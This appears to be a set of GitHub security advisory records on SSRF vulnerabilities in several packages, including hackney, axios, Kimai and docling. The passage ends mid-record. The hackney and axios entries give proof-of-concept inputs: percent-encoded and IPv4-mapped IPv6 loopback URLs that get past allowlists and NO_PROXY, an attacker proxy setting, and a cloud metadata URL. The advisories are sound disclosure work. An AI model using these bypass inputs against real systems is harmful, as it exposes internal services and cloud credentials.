{
  "affected": [],
  "aliases": [
    "CVE-2024-33590"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-29T11:15:46Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in codeSavory Knowledge Base documentation \u0026 wiki plugin \u2013 BasePress.This issue affects Knowledge Base documentation \u0026 wiki plugin \u2013 BasePress: from n/a through 2.16.1.",
  "id": "GHSA-phhp-cvw3-v4hr",
  "modified": "2026-04-28T21:35:01Z",
  "published": "2024-04-29T12:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33590"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/basepress/wordpress-basepress-plugin-2-16-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-1000139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-03T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "Mahara 1.8 before 1.8.7 and 1.9 before 1.9.5 and 1.10 before 1.10.3 and 15.04 before 15.04.0 are vulnerable to server-side request forgery attacks as not all processes of curl redirects are checked against a white or black list. Employing SafeCurl will prevent issues.",
  "id": "GHSA-phx5-r46p-24fc",
  "modified": "2022-05-17T00:24:06Z",
  "published": "2022-05-17T00:24:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000139"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/mahara/+bug/1397736"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-10546"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T20:17:27Z",
    "severity": "HIGH"
  },
  "details": "IBM Langflow OSS 1.0.0 through 1.9.3 contains a Server-Side Request Forgery (SSRF) vulnerability in the URL component ( src/lfx/src/lfx/components/data_source/url.py ) due to a Time-of-Check/Time-of-Use (TOCTOU) race condition that can be exploited via DNS rebinding.",
  "id": "GHSA-phxc-h9ch-q3gg",
  "modified": "2026-06-30T21:31:44Z",
  "published": "2026-06-30T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10546"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7277560"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "docling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.82.0"
            },
            {
              "fixed": "2.91.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44016"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-03T21:09:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nIn versions `\u003e= 2.82.0, \u003c 2.91.0`, if the HTML backend was explicitly configured for rendering (rendering option by default deactivated), then the Playwright-based rendering feature could allow JavaScript execution and unrestricted network access when processing untrusted HTML documents. An attacker could craft malicious HTML that executes arbitrary JavaScript in the rendering context or makes unauthorized network requests to internal services, potentially leading to SSRF attacks, data exfiltration, or remote code execution in the rendering environment.\n\n### Patches\nFixed in version 2.91.0. The rendering context now explicitly disables JavaScript execution (`java_script_enabled=False`) and implements network isolation controls. When `enable_remote_fetch` is disabled, the browser operates in offline mode, preventing all network requests.\n\n### Workarounds\nRefrain from using `render_page=True` when processing untrusted HTML documents.\n\n### References\n- Fix release: [v2.91.0](https://github.com/docling-project/docling/releases/tag/v2.91.0)",
  "id": "GHSA-pj2v-ggqh-cmq2",
  "modified": "2026-06-03T21:09:37Z",
  "published": "2026-06-03T21:09:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/security/advisories/GHSA-pj2v-ggqh-cmq2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/docling-project/docling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/releases/tag/v2.91.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Docling: Unsafe Playwright-based HTML Rendering"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "hackney"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.13.0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T21:54:55Z",
    "nvd_published_at": "2026-05-25T15:16:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`hackney_url:normalize/2` URL-decodes the host component of a parsed URL, but the caller\u0027s SSRF allowlist runs before normalization using OTP\u0027s `uri_string:parse/1` and `inet:parse_address/1`, neither of which decodes percent-escapes in hostnames. A URL like `http://%31%32%37%2E%30%2E%30%2E%31/` presents an encoded, non-IP-looking host to the validator, which passes the allowlist check; hackney\u0027s normalizer then decodes it to `127.0.0.1` and connects to loopback. Because `hackney:request/5` always calls `normalize/2` with no opt-out, every request path that accepts a binary or list URL is affected. This is a parser-differential SSRF in the same class as CVE-2025-1211, but in a different function.\n\n### Details\n\nIn `src/hackney_url.erl` (lines 161\u2013186), `normalize/2` checks whether the parsed host is already a dotted-quad or IPv6 literal via `inet_parse:address/1`. Percent-encoded forms like `%31%32%37%2E%30%2E%30%2E%31` fail that check and fall into the catch-all branch, where `urldecode/1` decodes the host before passing it to IDNA conversion:\n\n```erlang\nHost1 = binary_to_list(\n           urldecode(unicode:characters_to_binary(Host0))\n         ),\n```\n\nThe decoded host (`\"127.0.0.1\"`) replaces the original in the returned `#hackney_url{}` record. `hackney:request/5` at `src/hackney.erl:463` always calls `normalize/2`, so the decoded host is what `do_dispatch/1` and `add_host_header/2` ultimately use. The on-wire `Host:` header and the TCP connect target both reflect the decoded value.\n\nThe same payload pattern reaches the AWS/GCP/Azure IMDS (`169.254.169.254`), RFC1918 ranges, and any `localhost` admin endpoint. The 1.21.0 patch for CVE-2025-1211 fixed a separate differential in `parse_url/1` and did not touch `normalize/2`.\n\n### PoC\n\n1. Validate the URL with the canonical Erlang SSRF allowlist: `uri_string:parse/1` returns host `\u003c\u003c\"%31%32%37%2E%30%2E%30%2E%31\"\u003e\u003e`, `inet:parse_address/1` returns `{error, einval}`, so the allowlist accepts it.\n2. Pass the same URL to `hackney:get/1`.\n3. hackney\u0027s `normalize/2` decodes the host to `\"127.0.0.1\"` and connects to `127.0.0.1:80`. The internal service receives the request with `Host: 127.0.0.1`.\n\n### Impact\n\nUnauthenticated SSRF bypassing the canonical Erlang allowlist pattern. Affects hackney 0.13.0 through 4.0.0 for any application that accepts attacker-supplied URLs. Targets include cloud IMDS endpoints, `localhost` admin interfaces, and RFC1918 backends. CVSS v4.0: **6.9 (MEDIUM)**.\n\n## Resources\n\n* Introduction commit: https://github.com/benoitc/hackney/commit/4d725507588942fd00efca15b86da3273656510a\n* Patch commit: https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f",
  "id": "GHSA-pj7v-xfvx-wmjq",
  "modified": "2026-06-26T21:54:55Z",
  "published": "2026-06-26T21:54:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/benoitc/hackney/security/advisories/GHSA-pj7v-xfvx-wmjq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47076"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-47076.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/benoitc/hackney"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-47076"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Hackney has SSRF allowlist bypass in hackney_url:normalize/2 via percent-encoded host"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.57.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.58.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T16:04:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nKimai 2.56.0 contains a server-side request forgery vulnerability in its invoice PDF preview and generation workflow. If an attacker can control Markdown content that is later rendered into an invoice PDF, such as `Customer.invoiceText`, the server-side PDF renderer will fetch remote image URLs embedded in Markdown image syntax.\n\nThis allows the application server to issue outbound requests to attacker-controlled or internal targets during PDF rendering. The behavior can be used for internal network probing, server-side reachability checks, and potentially follow-on exploitation depending on deployment environment and accessible internal services.\n\n### Details\n\nThe vulnerable behavior occurs in the invoice rendering chain when user-controlled Markdown is transformed into HTML and then rendered by mPDF.\n\n- First, customer invoice text is copied into the invoice model.\n. Second, the default PDF invoice template renders that field through the Markdown-to-HTML filter. \n- Third, `md2html` enables full Markdown rendering. \n- Although safe mode is enabled, the tested Markdown image syntax still survives into the rendered HTML chain in a form that causes the PDF renderer to fetch the image resource.\n- Finally, the HTML is handed to mPDF. \n\nThe live test confirms that mPDF attempts to retrieve the remote image URL from the server side during PDF preview. This means the issue is not a template-injection problem but an SSRF condition caused by the rendering pipeline:\n\n- attacker-controlled Markdown\n- Markdown converted to HTML\n- HTML rendered by mPDF\n- mPDF fetches remote image resources from the server side\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nThis vulnerability allows an attacker who can influence invoice-rendered Markdown fields to cause the Kimai server to make outbound requests to arbitrary destinations. In real deployments, this can be used to probe internal services, test access to internal administrative or metadata endpoints, and confirm server-side reachability to attacker-controlled infrastructure.\n\nDepending on the environment, SSRF can also become a stepping stone toward more serious outcomes, such as triggering side effects on internal HTTP services or extracting sensitive information from services reachable only by the server. Because invoice generation is commonly performed by administrative or finance-related users, the feature is realistically reachable in business workflows.\n\n# Solution\n\n- Kimai does not allow to use markdown images any longer and converts them to HTML links instead\n- Kimai uses a specialized HttpClient for mPDF (called `NoPrivateNetworkHttpClient`), which prevents access to a variety of URLs, the full list can be fetched [from the documentation](https://www.kimai.org/documentation/pdf-templates.html#embedding-images)\n- This change can be a BC break, if someone used \n  - the Kimai domain for hosting invoice or export template images \n  - an internal IP for hosting invoice or export template images \n\nSee https://www.kimai.org/en/security/ghsa-pj8j-p4g4-4vw8",
  "id": "GHSA-pj8j-p4g4-4vw8",
  "modified": "2026-07-10T16:04:40Z",
  "published": "2026-07-10T16:04:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-pj8j-p4g4-4vw8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kimai has Server-Side Request Forgery in Invoice PDF Rendering via Markdown Image URLs"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-13940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-14T09:15:18Z",
    "severity": "MODERATE"
  },
  "details": "The Ninja Forms Webhooks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.0.7 via the form webhook functionality. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-pjpg-43j3-pgj7",
  "modified": "2025-05-14T09:30:25Z",
  "published": "2025-05-14T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13940"
    },
    {
      "type": "WEB",
      "url": "https://ninjaforms.com/extensions/webhooks"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4cf2af62-2b5a-4c0a-9e82-f80dde204a9d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-289",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T15:59:30Z",
    "nvd_published_at": "2026-06-11T17:16:33Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nshouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as `127.0.0.1` or `169.254.169.254`, a request URL using the IPv4-mapped IPv6 form (`::ffff:7f00:1`, `::ffff:a9fe:a9fe`) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.\n\n### Details\nlib/helpers/shouldBypassProxy.js (v1.15.0):                                                                                                                                   \n\n```javascript                                                                                                                                                                              \n  const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);                                                                                                      \n  const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);                                                                                                                    \n                                                                                                                                                                                \n  // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix                                                                                             \n  return hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));                                                                                             \n```\n                                                                                                                                                                                \nThe WHATWG URL parser canonicalises `http://[::ffff:127.0.0.1]/` to hostname `[::ffff:7f00:1]`. After bracket-stripping: `::ffff:7f00:1`. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used.  proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.\n\n### PoC\n```javascript\n\n// NO_PROXY=127.0.0.1,localhost,::1  HTTP_PROXY=http://attacker:8080\nimport shouldBypassProxy from \u0027axios/lib/helpers/shouldBypassProxy.js\u0027;                                                                                                       \n                                                                                                                                                                              \n// All three should return true (bypass proxy). Only the first two do.                                                                                                        \nconsole.log(shouldBypassProxy(\u0027http://127.0.0.1/\u0027));          // true  [OK]                                                                                                     \nconsole.log(shouldBypassProxy(\u0027http://[::1]/\u0027));               // true  [OK]                                                                                                     \nconsole.log(shouldBypassProxy(\u0027http://[::ffff:127.0.0.1]/\u0027)); // false \u003c- bypass                                                                                             \nconsole.log(shouldBypassProxy(\u0027http://[::ffff:7f00:1]/\u0027));     // false \u003c- bypass\n\n```                                                                                              \n                                                                                                                                                                              \nNode.js routes ::ffff:7f00:1 to 127.0.0.1:                                                                                                                                    \n\n```                                                                                                                                                                              \n// net.connect({ host: \u0027::ffff:7f00:1\u0027, port: 80 }) reaches a service                                                                                                       \n// bound to 127.0.0.1:80 \u2014 confirmed on Node.js v24, Linux and macOS.                                                                                                         \n```                                                                                                                                                                              \nCloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.                                                                                                                      \n                                                                                                                                                                            \n#### Fix                                                                                                                                                                           \n                                                                                                                                                                            \nCanonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:                                                                                                  \n \n ```javascript                                                                                                                                                                           \nconst ipv4MappedDotted = /^::ffff:(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})$/i;                                                                                                    \nconst ipv4MappedHex    = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;                                                                                                         \n                                                                                                                                                                              \nfunction hexToIPv4(a, b) {                                                                                                                                                    \n  const hi = parseInt(a, 16), lo = parseInt(b, 16);                                                                                                                           \n  return `${hi \u003e\u003e 8}.${hi \u0026 0xff}.${lo \u003e\u003e 8}.${lo \u0026 0xff}`;                                                                                                                   \n}                                                                                                                                                                             \n                                                                                                                                                                              \nconst normalizeNoProxyHost = (hostname) =\u003e {                                                                                                                                  \n  if (!hostname) return hostname;                                                                                                                                           \n  if (hostname[0] === \u0027[\u0027 \u0026\u0026 hostname.at(-1) === \u0027]\u0027)\n    hostname = hostname.slice(1, -1);                                                                                                                                         \n  hostname = hostname.replace(/\\.+$/, \u0027\u0027).toLowerCase();\n                                                                                                                                                                              \n  let m;                                                                                                                                                                    \n  if ((m = hostname.match(ipv4MappedDotted))) return m[1];                                                                                                                    \n  if ((m = hostname.match(ipv4MappedHex)))    return hexToIPv4(m[1], m[2]);                                                                                                   \n  return hostname;                                                                                                                                                            \n};\n\n```\n\n### Impact\nAny application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.",
  "id": "GHSA-pjwm-pj3p-43mv",
  "modified": "2026-07-17T15:32:20Z",
  "published": "2026-05-29T15:59:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36108"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36611"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36754"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36820"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36882"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36883"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:40119"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:40138"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:40262"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41031"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41066"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-44492"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487938"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44492.json"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20889"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20938"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26234"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27044"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27063"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:28964"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:29082"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:29197"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30650"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30651"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33005"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33155"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33160"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33163"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33173"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33183"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33574"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:34766"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "axios\u0027s shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-29456"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T22:15:15Z",
    "severity": "MODERATE"
  },
  "details": "An issue in personal-management-system Personal Management System 1.4.65 allows a remote attacker to obtain sensitive information via the create Notes function.",
  "id": "GHSA-pmgr-28ph-jhmm",
  "modified": "2025-04-21T18:32:08Z",
  "published": "2025-04-18T00:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29456"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/ckogwt5qwnkd821k"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:20:58Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "HIGH"
  },
  "details": "**1. Executive Summary**\nThis report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.\n\n**Background \u2014 The Original Vulnerability**\nThe original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy \u2014 even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.\n\nThe Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.\n\n**The Incomplete Patch \u2014 This Finding**\nWhile the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.\n\nThe patch introduced a hardcoded set of recognized loopback addresses:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n```\nHowever, **RFC 1122 \u00a73.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.\n\nAs a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.\n\n**Verification**\nThis bypass has been **independently verified** on:\n\n* **Axios version:** 1.15.0 (latest patched release)\n* **Node.js version:** v22.16.0\n* **OS:** Kali Linux (rolling)\n\nThe Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\n**2.1 Vulnerable File \u0026 Location**\n\n| Field | Detail |\n| ------------- | ------------- |\n| File | lib/helpers/shouldBypassProxy.js| \n| Primary Flaw| isLoopback() \u2014 Line 1\u20133 |\n| Supporting Function | shouldBypassProxy() \u2014 Line 59\u2013110 |\n| Axios Version | 1.15.0 (Latest Patched Release) |\n\n**2.2 How Axios Routes HTTP Requests  The Call Chain**\nWhen Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:\n\n```\n// lib/adapters/http.js \u2014 Lines 191\u2013199\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  if (!proxy \u0026\u0026 proxy !== false) {\n    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var\n    if (proxyUrl) {\n      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY\n        proxy = new URL(proxyUrl);               // Step 3: Assign proxy\n      }\n    }\n  }\n}\n```\n`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.\n\n**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**\nBefore Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:\n\n```\nRequest URL \u2192 http://localhost./secret\nNO_PROXY    \u2192 \"localhost,127.0.0.1,::1\"\nComparison:\n  \"localhost.\" === \"localhost\"   \u2192  FALSE  \u2192  Proxy used  \u2190 BYPASS\n  \"[::1]\"     === \"::1\"         \u2192  FALSE  \u2192  Proxy used  \u2190 BYPASS\n```\nBoth `localhost.` (FQDN trailing dot, RFC 1034 \u00a73.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 \u00a73.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.\n\n\n**2.4 What the Patch Fixed (Axios 1.15.0)**\nThe patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:\n\n\u003cimg width=\"602\" height=\"123\" alt=\"01_axios_version_verification\" src=\"https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5\" /\u003e\n\n**Fix A `normalizeNoProxyHost()` (Lines 47\u201357)**\nStrips alternate representations 